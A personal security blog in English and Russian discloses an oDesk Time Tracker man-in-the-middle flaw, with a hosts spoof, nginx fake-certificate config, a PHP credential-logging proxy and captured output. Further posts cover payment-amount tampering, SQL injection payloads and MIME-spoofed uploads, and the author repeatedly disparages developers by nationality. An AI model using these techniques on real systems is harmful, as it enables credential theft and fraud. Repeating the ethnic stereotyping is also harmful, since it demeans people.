Ars Longa, Vita Brevis » спуфинг

oDesk Time Tracker Vulnerabilities

Vladimir — Mon, 15 Jun 2009 17:42:33 +0000

When SSL is not enough

oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS cache or whatever — this is doable).
To imitate the DNS spoofing we will need to edit /etc/hosts file:

127.0.0.1 team.odesk.com

And set up a virtual host for our local web server (which will act as a proxy between the Time Tracker and the oDesk server) — I used nginx:

server {
listen 80;
server_name team.odesk.com;

access_log /var/log/nginx/team.odesk.com-access.log;
error_log /var/log/nginx/team.odesk.com-error.log;

root /var/www/team.odesk.com;

try_files junk @proxy;

location @proxy {
fastcgi_pass 127.0.0.1:8000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
include /etc/nginx/fastcgi_params;
}
}

server {
listen 443;
keepalive_timeout 70;

server_name default;
access_log /var/log/nginx/secure-team.odesk.com-access.log;
error_log /var/log/nginx/secure-team.odesk.com-error.log;

ssl on;
ssl_certificate /etc/nginx/certs/fake-cert.crt;
ssl_certificate_key /etc/nginx/certs/fake-cert.key;
ssl_session_timeout 5m;

ssl_protocols SSLv3 TLSv1;
ssl_ciphers HIGH:MEDIUM;
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:10m;

root /var/www/team.odesk.com;

try_files junk @proxy;

location @proxy {
fastcgi_pass 127.0.0.1:8000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
include /etc/nginx/fastcgi_params;
}
}

Nice PHP proxy that logs all communication between the client and server:

if (false == empty($_POST)) {
$ch = curl_init('https://209.128.65.132' . $_SERVER['REQUEST_URI']);

$data = $_POST;
if (false == empty($_FILES)) {
foreach ($_FILES as $key => $item) {
$data[$key] = '@' . $item['tmp_name'];
}
}

$f = fopen(dirname(__FILE__) . '/log.txt', "a");
fwrite($f, $_SERVER['REQUEST_URI'] . "\n");
fwrite($f, "<<<\n");
fwrite($f, print_r($data, 1));
fwrite($f, ">>>\n");

curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: team.odesk.com'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$s = curl_exec($ch);
curl_close($ch);
fwrite($f, $s);
fwrite($f, "---\n\n\n");
fclose($f);
print $s;
}
else {
print "status=S_OK\n";
print "Fraude perit virtus";
}
?>

Thus, when a provider logs into his oDesk Account using the tracker, his session gets intercepted and all traffic can be logged:

SERVER: https://209.128.65.132/client/receiver
IN:
Array
(
[version] => Linux/1.3.4
[status] => C_NORMAL
[company] => ics2:ics2
[user] => vkolesnikov
[password] => password_goes_here
[uid] => 5f323dce-ee5c-4347-9074-ed5d356362d4
[computer] => SJINKS
[os] => Linux Ubuntu 9.04 (2.6.28-13-server)
[snapint] => 600
[trigger] => login
[keyev] => 1
[mousev] => 1
[events_per_minute] => 1245070126,1,1
[activewintitle] => client : mc
[screensaveron] => false
[memo] =>.
[task_id] =>.
[task_description] =>.
[screenshot_width] => 1680
[screenshot_height] => 1050
[timestamp] => 1245070127
[screen] => @/tmp/phpqzwmeh
)

OUT:
status=S_OK
servertime=1245070127
hiresdesktop=enable
webcam=user
period=600
use_https=yes
company_name=ICS
first_name=Vladimir
last_name=Kolesnikov
tz=Europe/Athens
company=ics2:ics2
login=vkolesnikov
companies=Sphere314,extrememember,ics2:ics2
odeskmeter=0.67,0.67,74.17,16.75,16.75,1854.25
task_integration_policy=1
cache_size=120

And here comes the second vulnerability.
Since the attacker is able to intercept the session, he would be able to intercept the login and password the provider used to log in (since they are transferred in clear text). And since oDesk Time Tracker login is the same as odesk.com login the attacker will be able to log in as the provider whose session he has intercepted/ With the help of social engineering it could be possible to find the answer to the secret question (actually it could be easier than to spoof the DNS); and if the provider is away, the attacker can make a withdrawal to his account.

The main issue is that oDesk Time Tracker does not verify the host it connects to — which makes these vulnerabilities possible. If SSL certificate verification is implemented, this will make attacker’s life more difficult. And to improve security of the odesk.com account the oDesk Time Tracker could send a hash of the password instead of the password itself. Provided that a strong and secure hash function is used, it will be nearly impossible to reverse the hash to get the original password. Then oDesk account is safe, and even if the oDesk Team session is intercepted, the attacker would be unable to do anything with provider’s account.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Как не нужно интегрировать платёжные системы

Vladimir — Fri, 21 Nov 2008 01:16:33 +0000

А Вы тоже доверяете своим программистам? Мы идём к Вам!

Внимание: данную статью не следует воспринимать как руководство юного хакера; материал приведён исключительно в ознакомительных целях, чтобы программисты не повторяли подобных ошибок.

Итак, имеем платёжную форму (информация, идентифицирующая сайт, затёрта):

Ничего сверхестественного: нам предлагают купить некую услугу за $99 в месяц. Всё как обычно. Интересные вещи начинаются, когда смотришь на детали формы:

Для тех, кто не знает: сумма платежа для системы SecurePay задается как целое число (исходноё значение умножается на 100). Так, $99.00 передается как 9900, а, скажем, $20.45 — как 2045.

У любого человека, занимавшегося интеграцией платёжных систем и имеющего опыт в компьютерной безопасности, возникает законный вопрос: если скрипт перед отправкой платёжных данных обрабатывает эти самые данные, зачем помещать в форму итоговое значение, причем отформатированное для платёжной системы? Если этот человек имел дело с индопакистанофилиппинцами, то ему только остаётся схватиться за голову.

А что произойдет, если подменить значение на, скажем, 0100 ($1)? На нулевое менять нельзя, любая уважающая себя платёжка ругнётся; например, так:

Кстати, отрицательный результат — тоже результат: ошибку возвращает SecurePay, а из этого следует, что скрипт не проверяет значение суммы платежа, и ему можно скормить любое значение!

Итак, меняем сумму платежа:

И отправляем форму. В результате получаем такую картину:

Осталось посмотреть, сколько денег снялось:

Как видим, снялся $1.00 — операция прошла успешно.

Программистам (справедливости ради стоит отметить, что это были не индийцы, а румынец из компании SurgeWorks) могу сказать следующее: никогда не доверяйте данным, которые пришли от пользователя. Лень (и непрофессионализм) в этом случае могут обернуться большими потерями.

Update: чтобы ни у кого не возникало желание обвинить меня в обмане владельца сайта и взломе всяких разных сайтов, к которым я не имею никакого отношения (Jurgen, привет!): я поставил владельца сайта в известность, и мы с ним работаем над устранением уязвимости.

Безопасность, о которой все так много говорят…

Vladimir — Tue, 11 Mar 2008 03:10:56 +0000

Почему никогда нельзя доверять пользователю, если Вас беспокоит безопасность

Специалисты по безопасности, пожалуй, всем уже проели плешь, говоря о том, что все данные, приходящие от пользователя, нужно тщательно проверять… Казалось бы, "азбучные истины", этому должны учить в школе . Мне стало интересно: а многие ли сайты действительно защищены?

Внимание: материал предоставлен только в ознакомительных/образовательных целях! Автор не несёт ответственности за всё, что может случиться. Данная статья не должна рассматриваться, как практическое руководство по взлому; статья является обзором наиболее типичных ошибок программистов и объясняет, как именно невнимательность разработчиков может служить источником дыр безопасности.

Одна из самых распространённых атак (я не беру DoS, DDoS и иже с ними) — это SQL Injection Attack.

Как пишет Wikipedia,

Инъекция SQL (англ. SQL injection) — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.
Инъекция SQL, в зависимости от типа используемой СУБД и условий инъекции, может дать возможность атакующему выполнить произвольный запрос к базе данных (например, прочитать содержимое любых таблиц, удалить, изменить или добавить данные), получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере.

Атака типа инъекции SQL может быть возможна из-за некорректной обработки входящих данных, используемых в SQL-запросах.

Как уже было сказано, такие атаки проходят из-за недостаточной обработки входных параметров скрипта. Нередки случаи, когда программисты-новички, полагают, что если ID записи — это число, то скрипт всегда будет получать именно число, а не строку. Простой пример реального кода:

$id = $_GET['id'];
$query = "SELECT * FROM {$members} WHERE id = $id LIMIT 1";
$res = mysql_query($query, $link);

Всем хорош код, когда $id — это число. Например, если скрипт был вызван "script.php?id=123", то запрос принял бы следуюший вид:

SELECT * FROM members WHERE id = 123 LIMIT 1

Всё хорошо, но встречаются нехорошие дяди, которые вместо числа могут скормить скрипту всякую каку: для данного простого примера достаточно передать скрипту в параметрах script.php?id=0%20OR%201, чтобы заставить его выбрать все записи (о том, как обойти LIMIT, чуть ниже). Фактически, запрос будет переписан в виде

SELECT * FROM members WHERE id = 0 OR 1 LIMIT 1

Так как практически всегда для ID используются автоинкрементные поля, то выражение (id = 0) будет всегда ложно. А (FALSE OR 1) — всегда истинно.

Даже если запрос содержит LIMIT, это не спасает от выборки произвольной записи: script.php?id=0%20OR%201%20LIMIT%20A,B/*%20--

Вместо A и B — значения для offset и count соответственно, например:

SELECT * FROM members WHERE id = 0 OR 1 LIMIT 5,1/*-- LIMIT 1

Что примечательно: MySQL успешно выполнит запрос не смотря на то, что комментарий-то не закрыт. А так как /* */ — многострочный комментарий, то запрос отлично выполнится, даже если он многострочный.

Есть и другой метод — более простой, но не всегда рабочий — просто передать скрипту нужный id и не ломать голову с запросом. Очевидно, что если скрипт делает выборку не только по id, но и по другому полю (например, WHERE `id` = 'id' AND `member_id` = 'member_id'), то простая подмена числа не сработает. А инъекция будет работать.

Сама по себе техника простая, но очень эффективная и деструктивная. Когда я работал над сайтом uk-swingers.com (исправлял баги), я показал заказчику, как из его базы можно было воровать… номера кредитных карточек с кодами CVV, информацией о владельце и прочими данными. То, что хранение подобной информации в БД запрещено, это другая история… Да, он шифровал информацию в БД (при помощи алгоритма RC4 ). Да, он стирал 4 средние цифры из номера кредитки (через несколько часов после выполнения транзакции), но был ли в этом смысл? Дело в том, что данные могли быть зашифрованы как угодно, но браузеру они передавались в открытом виде. А номер кредитной карточки можно легко восстановить — во-первых, можно угадать BIN, исходя из территориальной близости к банку, во-вторых, перебором можно вычислить возможные номера карточки (для валидации номера используется формула Луна). На другом сайте (имя пока открыть не могу) так можно было читать чужие письма и воровать почтовые адреса и пароли (и устраивать кучу других гадостей).

Немного сложнее со строками. Я провел исследование, и выяснил, что если строка передается на сервер из , то она далеко не всегда экранируется (особенно, если авторство кода принадлежит индусам).

Пример с реального сайта (кстати, писали даже не индусы, а вьетнамцы):

$name = $_REQUEST['member'];
$query = "SELECT * FROM {$prefix}profiles WHERE user = '$name'";
$res = mysql_query($query, $link);

script.php?member=testdavid

SELECT * FROM tuvinh_profiles WHERE user = 'testdavid'

Инъекция проходит аналогично: так как строки в MySQL заключаются в одинарные или двойные кавычки, то запрос модифицируется так, чтобы закрыть кавычку:

SELECT * FROM tuvinh_profiles WHERE user = '' OR 1 /* " OR 1 /*

SELECT * FROM tuvinh_profiles WHERE user = "' OR 1 /* " OR 1 /*

Аналогично вышеприведённому примеру, в запрос можно добавить LIMIT и ORDER BY.

Ладно, хватит голой теории, переходим к практике
Большую популярность получили сайты, публикующие различные статьи различных авторов: владельцы сайтов получают контент, авторы — обратную ссылку на свой сайт и возможность показывать свою рекламу. Таких сайтов много: articledashboard.com, articledirectory.com, webarticles.com и т.п.

Один из таких сайтов (articledashboard.com) писали индусы Заинтересовали они меня тем (articledashboard.com, не индусы), что они предлагали скачать "exact software that powers Article Dashboard for FREE". Кто не любит халяву Хотя PHP-код зашифрован ionCube, индусское авторство доказывается наличием огромного файла functions.php (я подобное видел во всех проектах, когда приходилось переделывать код после индусов). А индусы не любят делать addslashes(). Тоже из опыта.

Приведу несколько скриншотов, показывающих наличие уязвимостей на сайте.

На сайте есть хорошая функция — загрузка своей аватарки. Казалось бы, что здесь можно сломать? Тем не менее, и описываемая ниже уязвимость сводится к недостаточной обработке входных данных.

Есть очень хороший extension для FireFox, который позволяет подделывать mime-type. То есть фактически мы можем проинструктировать FireFox посылать произвольный файл (например, php) с mime-type, соответствующим изображению (например, image/png). В том случае, если сервер проверяет тип файла только по данным, которые пришли со стороны пользователя, скрипт обманывает сам себя.

И на закуску: все эти сайты работают под ArticleDirectory.

А вы говорите, безопасность…

Мораль сей басни такова: никогда (еще раз подчёркиваю, никогда) нельзя доверять данным, которые пришли со стороны пользователя. Все данные нужно проверять и при проверках предполагать худшее. Естественно, это увеличивает размер кода и время написания программы. Но лучше заказчику потратить пару сотен долларов на безопасность, чем рвать волосы на голове после обнаружения взлома по факту.